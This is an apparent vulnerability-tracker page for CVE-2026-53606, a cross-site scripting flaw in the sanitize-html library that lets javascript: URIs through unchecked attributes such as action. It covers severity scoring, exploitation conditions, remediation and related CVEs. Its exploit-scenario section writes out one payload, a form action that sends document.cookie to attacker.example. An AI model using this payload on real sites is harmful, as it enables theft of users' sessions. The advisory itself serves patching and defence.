Skip to main content

sanitize-html EUVDEUVD-2026-36574

| CVE-2026-53606 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-06-12 GitHub_M GHSA-vccv-cmxp-4j9h
5.4
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Attacker holds low-privilege content-submission role
  2. Delivery
    Craft HTML element using non-default URI attribute (e.g., action=javascript:...)
  3. Exploit
    Submit content to application using sanitize-html with permissive config
  4. Install
    Library passes URI unchecked - naughtyHref() never invoked
  5. C2
    Victim views page and interacts with malicious element
  6. Execute
    JavaScript executes in victim browser context
  7. Impact
    Session token or credential exfiltration

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that the target application's sanitize-html configuration explicitly adds at least one of the following attributes to its allowedAttributes or equivalent setting: action, formaction, data, poster, background, ping, xlink:href, dynsrc, or lowsrc. Applications using only the default sanitize-html configuration are NOT affected, because none of these attributes are permitted by default and therefore can never carry attacker-controlled URIs. Additionally, CVSS PR:L indicates the attacker must possess some level of authenticated or low-privilege access sufficient to submit HTML content (e.g., a CMS editor or contributor role). Exploitation is further limited by UI:R - a victim user must interact with (e.g., click or load) the element bearing the malicious URI. Purely read-only rendering without interaction does not trigger the payload.

Impact

The vendor-assigned CVSS 5.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N) reflects a Stored or Reflected XSS pattern: network delivery, low-privilege content submission, required victim interaction, and a scope change capturing the cross-context nature of browser-side script execution. However, the AC:L designation warrants scrutiny - successful exploitation is gated on a non-default application configuration (explicitly permitting one of the affected URI attributes), a condition entirely outside the attacker's control. An independent assessment favors AC:H to reflect this deployment dependency, yielding a materially lower base score. No EPSS score was provided in available data, preventing probabilistic exploitation comparison. KEV status is absent and no public exploit code has been identified, indicating this is not currently under mass or opportunistic exploitation. Real-world priority is therefore conditional: organizations using sanitize-html with custom configurations that allow action, formaction, data, poster, background, ping, xlink:href, dynsrc, or lowsrc should treat this as high priority; those on default configurations face no direct exposure from this specific bypass.

Exploit ScenarioDerived

A low-privilege CMS contributor submits an article containing <form action="javascript:fetch('https://attacker.example/steal?c='+document.cookie)">Click me</form>. Because action is not in allowedSchemesAppliedToAttributes, sanitize-html passes the URI unchecked. When an administrator or victim user subsequently views the article and clicks the form, the javascript: URI executes in the victim's browser, exfiltrating session cookies to the attacker. No public POC has been confirmed, but the attack technique is well-understood and trivially reproducible given knowledge of the bypass.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 12, 2026

Cross-site scripting in sanitize-html prior to 2.17.5 allows low-privileged attackers to inject executable javascript: URIs through HTML attributes that the library's scheme-blocking logic never inspects. The naughtyHref() function gates dangerous URI schemes only for attributes listed in allowedSchemesAppliedToAttributes (defaulting to href, src, and cite), leaving attributes such as action, formaction, data, poster, background, ping, xlink:href, dynsrc, and lowsrc entirely unchecked. Applications that explicitly permit any of these attributes in their sanitize-html configuration are vulnerable; no public exploit code has been identified at time of analysis, and this CVE is not currently listed in CISA KEV.

RemediationAI

Upgrade sanitize-html to version 2.17.5 or later, which is the vendor-confirmed patched release per GHSA-vccv-cmxp-4j9h (https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-vccv-cmxp-4j9h). Run npm update sanitize-html or pin "sanitize-html": ">=2.17.5" in your package.json. If an immediate upgrade is not feasible, audit your sanitize-html allowedAttributes and allowedAttributesGlob configuration and remove any entries for action, formaction, data, poster, background, ping, xlink:href, dynsrc, and lowsrc; this eliminates the attack surface at the cost of potentially breaking form-submission HTML, media embeds, or SVG content your application currently renders. Alternatively, explicitly add all affected attributes to your allowedSchemesAppliedToAttributes array to force scheme checking - this is a viable short-term workaround but requires careful validation that your custom list is exhaustive as new URI-bearing attributes are introduced.

Affected VersionsENISA

sanitize-html < 2.17.5

Affected Packages

npm sanitize-html fix: 2.17.5

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

sanitize-html is a widely used Node.js library (CPE: cpe:2.3:a:apostrophecms:sanitize-html) that strips or transforms HTML to a developer-defined allowlist. Its URI safety check, naughtyHref(), inspects attribute values for dangerous schemes (javascript:, vbscript:, etc.) only when the attribute name appears in the allowedSchemesAppliedToAttributes configuration array. The default value of this array covers only href, src, and cite, yet the HTML specification defines over ten additional attributes that can carry URI values - including action and formaction on forms, data on <object>, poster on <video>/<audio>, and SVG-related xlink:href. Because none of these are in the default gate list, any application that extends its sanitize-html allowedAttributes configuration to permit them inadvertently disables scheme validation for those attributes entirely. This is a CWE-79 (Improper Neutralization of Input During Web Page Generation) root cause: user-controlled URI data reaches browser execution context without sanitization.

Know when Apostrophecms gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 5.4 MEDIUM
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
vuln.today AI 4.4 MEDIUM

AC:H reflects the mandatory non-default configuration prerequisite (permitting a URI-bearing attribute) that is entirely outside the attacker's control.

3.1 AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:H/AT:P/PR:L/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
SUSE MEDIUM
Red Hat 5.4 MEDIUM

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

1
Patch available
Jun 12, 2026 - 22:01 EUVD

DescriptionCVE.org

ApostropheCMS is an open-source Node.js content management system, and sanitize-html provides a simple HTML sanitizer with a clear API. Versions of sanitize-html prior to 2.17.5 use allowedSchemesAppliedToAttributes (default: ['href', 'src', 'cite']) to gate the naughtyHref() function that blocks dangerous URI schemes like javascript: and vbscript:. The HTML specification defines 10+ attributes that accept URIs (action, formaction, data, poster, background, ping, xlink:href, dynsrc, lowsrc), but none of these are included in the default gate list. When a developer allows any of these attributes in their configuration, javascript: URIs pass through completely unmodified, enabling XSS. Version 2.17.5 patches the issue.

Threat Intelligence Overview

EPSS Score
0.0%
Top 91% exploitable
Threat Intel
1
1 sources
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

27
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +27
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2026-63669 MEDIUM POC
6.5 Aug 17

Integrity bypass in ApostropheCMS page management allows authenticated low-privileged editors to move pages into restric

CVE-2026-63670 MEDIUM POC
6.1 Aug 17

Stored cross-site scripting in ApostropheCMS prior to 2.17.6 enables execution of arbitrary JavaScript in victim browser

CVE-2014-125128 MEDIUM POC
6.1 Sep 08

'sanitize-html' prior to version 1.0.3 is vulnerable to Cross-site Scripting (XSS). Rated medium severity (CVSS 6.1), th

CVE-2019-25225 MEDIUM POC
6.1 Sep 08

`sanitize-html` prior to version 2.0.0-beta is vulnerable to Cross-site Scripting (XSS). Rated medium severity (CVSS 6.1

CVE-2021-25979 CRITICAL
9.8 Nov 08

Apostrophe CMS versions prior to 3.3.1 did not invalidate existing login sessions when disabling a user account or chang

CVE-2026-84371 MEDIUM POC
5.4 Sep 01

Stored XSS in sanitize-html versions 1.9.0 through 2.17.6 allows authenticated low-privileged users to inject executable

CVE-2024-21501 MEDIUM POC
5.3 Feb 24

Versions of the package sanitize-html before 2.12.1 are vulnerable to Information Exposure when used on the backend and

CVE-2021-26540 MEDIUM POC
5.3 Feb 08

Apostrophe Technologies sanitize-html before 2.3.2 does not properly validate the hostnames set by the "allowedIframeHos

CVE-2021-26539 MEDIUM POC
5.3 Feb 08

Apostrophe Technologies sanitize-html before 2.3.1 does not properly handle internationalized domain name (IDN) which co

CVE-2026-53609 CRITICAL
9.1 Jun 12

Prototype pollution in ApostropheCMS versions up to and including 4.30.0 allows an authenticated editor to poison Object

CVE-2026-53608 HIGH
8.7 Jun 12

Stored cross-site scripting in the @apostrophecms/seo plugin (versions ≤1.4.2) allows any user holding the default edito

CVE-2026-35569 HIGH
8.7 Apr 15

Stored cross-site scripting in ApostropheCMS SEO fields permits an authenticated attacker to inject arbitrary JavaScript

Vendor StatusVendor

SUSE

Severity: Moderate
Product Status
SUSE Linux Enterprise High Performance Computing 12 Not-Affected
SUSE Linux Enterprise High Performance Computing 15 SP7 Not-Affected
SUSE Linux Enterprise High Performance Computing 15 SP7 Not-Affected
SUSE Linux Enterprise Micro 5.3 Not-Affected
SUSE Linux Enterprise Micro 5.3 Not-Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy